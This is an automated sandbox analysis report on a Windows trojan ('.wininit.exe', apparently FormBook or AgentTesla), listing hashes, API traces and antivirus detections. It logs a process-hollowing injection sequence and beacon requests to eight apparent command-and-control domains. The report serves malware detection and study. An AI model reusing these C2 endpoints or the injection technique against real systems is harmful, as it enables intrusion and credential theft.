popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

.wininit.exe

Generic Malware Admin Tool (Sysinternals etc ...) AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 July 15, 2021, 11:29 a.m. July 15, 2021, 11:32 a.m.
Size 822.0KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 a4231c7431f34ce5f1aeecd2c366008a
SHA256 24133d4dad6ae66b6b08df65dd8e1d66e589c0fbc2ae770320eafa4d7079231e
CRC32 176FF564
ssdeep 12288:KhxrNls9XOd4+QC1FQl2XKp07+IS2iN7O+4ugIFiRTwOxsIrnDLjSWtIDLbvhSvn:KhptS11zxFiuybnXCDMLiqAlfMBtT+S
Yara
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d5778
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d5778
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x007d5778
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET http://www.scholarlyleadership.com/7bun/?GzuX=hk4hT8PvzN7nHrw/p5MDcjpW73fNgGMfvTyI/m77+fOFqrLM/OlrUKGASMrwZBUx6zw+ZdSx&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.sneakerssupermarket.com/7bun/?GzuX=PvR5U4CzamzH6G3sNGXTSLQaZtYsYmwgNdhhHTSdAYxz5ww0kg2mXAm8Th9XkZs+eILT2cdA&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.2018luzy.com/7bun/?GzuX=g35u4EyrkW3rEL1JEcpIEg1/sczhXn0QOEPPJxt5HYf46Nv5O0mcuIhE9EM9an3WCxnyXQE9&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.enlightenmenttalk.com/7bun/?GzuX=e+jirH21b6Bs+4mj+0HfmShjT7e/46sxFP9zszjSk6qxzG6Gc5dc28nSJf5O5wgSAQmXXH7R&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.modelsclinic.com/7bun/?GzuX=m3w4Bdh9bpVNFCkrZz/g9Z5fhYKoHVPPCMLJMgvkrgV2SA7hLU3dgzZ+CJeMd9qFkfdDn2KB&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.chameocarajf.com/7bun/?GzuX=wvDqrLAPMF2RNpFbOT3QZsFyHSWghwlMvddKBC7GRap2w/vObToqQirxvXj+lV8cPNTq78JX&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.thehaphazardhomeschool.com/7bun/?GzuX=XsE2DkapAHCJ4LAsoDXWOSELWcifcHP4gCVqiw16EiKnX6rAYptoaBMRcr+2q0gKis7ji90s&AnB=O2MxwrzxV
suspicious_features GET method with no useragent header suspicious_request GET http://www.bk-707.com/7bun/?GzuX=U8dEOFQwatqmMeUIf8+xjfMEi+QHZ78yHCVkXGW0zuDP3xp5Sb4izGVZ6gnoCR9Zglx5uhU/&AnB=O2MxwrzxV
request POST http://www.scholarlyleadership.com/7bun/
request GET http://www.scholarlyleadership.com/7bun/?GzuX=hk4hT8PvzN7nHrw/p5MDcjpW73fNgGMfvTyI/m77+fOFqrLM/OlrUKGASMrwZBUx6zw+ZdSx&AnB=O2MxwrzxV
request POST http://www.sneakerssupermarket.com/7bun/
request GET http://www.sneakerssupermarket.com/7bun/?GzuX=PvR5U4CzamzH6G3sNGXTSLQaZtYsYmwgNdhhHTSdAYxz5ww0kg2mXAm8Th9XkZs+eILT2cdA&AnB=O2MxwrzxV
request POST http://www.2018luzy.com/7bun/
request GET http://www.2018luzy.com/7bun/?GzuX=g35u4EyrkW3rEL1JEcpIEg1/sczhXn0QOEPPJxt5HYf46Nv5O0mcuIhE9EM9an3WCxnyXQE9&AnB=O2MxwrzxV
request POST http://www.enlightenmenttalk.com/7bun/
request GET http://www.enlightenmenttalk.com/7bun/?GzuX=e+jirH21b6Bs+4mj+0HfmShjT7e/46sxFP9zszjSk6qxzG6Gc5dc28nSJf5O5wgSAQmXXH7R&AnB=O2MxwrzxV
request POST http://www.modelsclinic.com/7bun/
request GET http://www.modelsclinic.com/7bun/?GzuX=m3w4Bdh9bpVNFCkrZz/g9Z5fhYKoHVPPCMLJMgvkrgV2SA7hLU3dgzZ+CJeMd9qFkfdDn2KB&AnB=O2MxwrzxV
request POST http://www.chameocarajf.com/7bun/
request GET http://www.chameocarajf.com/7bun/?GzuX=wvDqrLAPMF2RNpFbOT3QZsFyHSWghwlMvddKBC7GRap2w/vObToqQirxvXj+lV8cPNTq78JX&AnB=O2MxwrzxV
request POST http://www.thehaphazardhomeschool.com/7bun/
request GET http://www.thehaphazardhomeschool.com/7bun/?GzuX=XsE2DkapAHCJ4LAsoDXWOSELWcifcHP4gCVqiw16EiKnX6rAYptoaBMRcr+2q0gKis7ji90s&AnB=O2MxwrzxV
request POST http://www.bk-707.com/7bun/
request GET http://www.bk-707.com/7bun/?GzuX=U8dEOFQwatqmMeUIf8+xjfMEi+QHZ78yHCVkXGW0zuDP3xp5Sb4izGVZ6gnoCR9Zglx5uhU/&AnB=O2MxwrzxV
request POST http://www.scholarlyleadership.com/7bun/
request POST http://www.sneakerssupermarket.com/7bun/
request POST http://www.2018luzy.com/7bun/
request POST http://www.enlightenmenttalk.com/7bun/
request POST http://www.modelsclinic.com/7bun/
request POST http://www.chameocarajf.com/7bun/
request POST http://www.thehaphazardhomeschool.com/7bun/
request POST http://www.bk-707.com/7bun/
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 1441792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00340000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00460000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72741000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72742000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 1703936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02220000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02380000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003a2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003d5000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003db000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003d7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003bc000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00500000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003aa000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ca000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003c7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ba000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00501000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x6e072000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003c6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00502000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003ac000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00503000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003bd000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x003be000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00504000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00505000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0050b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ac0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ac1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ac2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2212
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04ac3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2356
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00c20000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
section {u'size_of_data': u'0x000c7e00', u'virtual_address': u'0x00002000', u'entropy': 7.528203505682949, u'name': u'.text', u'virtual_size': u'0x000c7d14'} entropy 7.52820350568 description A section with a high entropy has been found
entropy 0.973219720024 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2356
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
1 0 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÁ²:à  r€Ð@@.text0pr `
base_address: 0x00400000
process_identifier: 2356
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2356
process_handle: 0x00000274
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÁ²:à  r€Ð@@.text0pr `
base_address: 0x00400000
process_identifier: 2356
process_handle: 0x00000274
1 1 0
Process injection Process 2212 called NtSetContextThread to modify thread in remote process 2356
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4313216
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000270
process_identifier: 2356
1 0 0
Process injection Process 2212 resumed a thread in remote process 2356
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000270
suspend_count: 1
process_identifier: 2356
1 0 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000dc
suspend_count: 1
process_identifier: 2212
1 0 0

NtResumeThread

 thread_handle: 0x0000014c
suspend_count: 1
process_identifier: 2212
1 0 0

NtResumeThread

 thread_handle: 0x00000188
suspend_count: 1
process_identifier: 2212
1 0 0

NtResumeThread

 thread_handle: 0x00000268
suspend_count: 1
process_identifier: 2212
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtGetContextThread

 thread_handle: 0x000000e0
1 0 0

NtResumeThread

 thread_handle: 0x000000e0
suspend_count: 1
process_identifier: 2212
1 0 0

CreateProcessInternalW

 thread_identifier: 604
thread_handle: 0x00000270
process_identifier: 2356
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\.wininit.exe
track: 1
command_line:
filepath_r: C:\Users\test22\AppData\Local\Temp\.wininit.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000274
1 1 0

NtGetContextThread

 thread_handle: 0x00000270
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2356
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000274
1 0 0

WriteProcessMemory

 buffer: MZERèXƒè ‹ÈƒÀ<‹ÁƒÀ(ÿᐸº´ Í!¸LÍ!This program cannot be run in DOS mode. $}f?9QH9QH9QH"šúHuQH"šÏH:QH"šÌH8QHRich9QHPELÁ²:à  r€Ð@@.text0pr `
base_address: 0x00400000
process_identifier: 2356
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x00401000
process_identifier: 2356
process_handle: 0x00000274
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x7efde008
process_identifier: 2356
process_handle: 0x00000274
1 1 0

NtSetContextThread

 registers.eip: 0
registers.esp: 0
registers.edi: 0
registers.eax: 4313216
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000270
process_identifier: 2356
1 0 0

NtResumeThread

 thread_handle: 0x00000270
suspend_count: 1
process_identifier: 2356
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.GenericKDZ.76422
FireEye Generic.mg.a4231c7431f34ce5
Qihoo-360 Win32/TrojanSpy.Noon.HwMAlpsA
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
Alibaba TrojanSpy:MSIL/AgentTesla.8b7891fd
K7GW Trojan ( 0057f5d41 )
Cybereason malicious.f8f0cf
Cyren W32/MSIL_Troj.BGC.gen!Eldorado
Symantec Trojan.Gen.MBT
ESET-NOD32 a variant of MSIL/GenKryptik.FHNM
APEX Malicious
Paloalto generic.ml
Kaspersky HEUR:Trojan-Spy.MSIL.Noon.gen
BitDefender Trojan.GenericKDZ.76422
Avast Win32:RATX-gen [Trj]
Ad-Aware Trojan.GenericKDZ.76422
Emsisoft Trojan.GenericKDZ.76422 (B)
Comodo Malware@#3ozpruj14etmz
DrWeb Trojan.Siggen14.37370
McAfee-GW-Edition Artemis!Trojan
Sophos Mal/Generic-S
Ikarus Win32.Outbreak
GData Win32.Trojan-Stealer.FormBook.KVHBS8
Webroot W32.Trojan.Gen
Kingsoft Win32.Troj.Undef.(kcloud)
ZoneAlarm HEUR:Trojan-Spy.MSIL.Noon.gen
Microsoft Trojan:MSIL/AgentTesla.IU!MTB
McAfee RDN/Generic.dx
MAX malware (ai score=89)
Malwarebytes Spyware.TelegramBot
TrendMicro-HouseCall TROJ_GEN.R002H0CGE21
SentinelOne Static AI - Malicious PE
eGambit Unsafe.AI_Score_100%
Fortinet MSIL/Kryptik.CDE!tr
BitDefenderTheta Gen:NN.ZemsilF.34796.Zm0@ayB5ZDf
AVG Win32:RATX-gen [Trj]
CrowdStrike win/malicious_confidence_80% (W)
MaxSecure Trojan.Malware.300983.susgen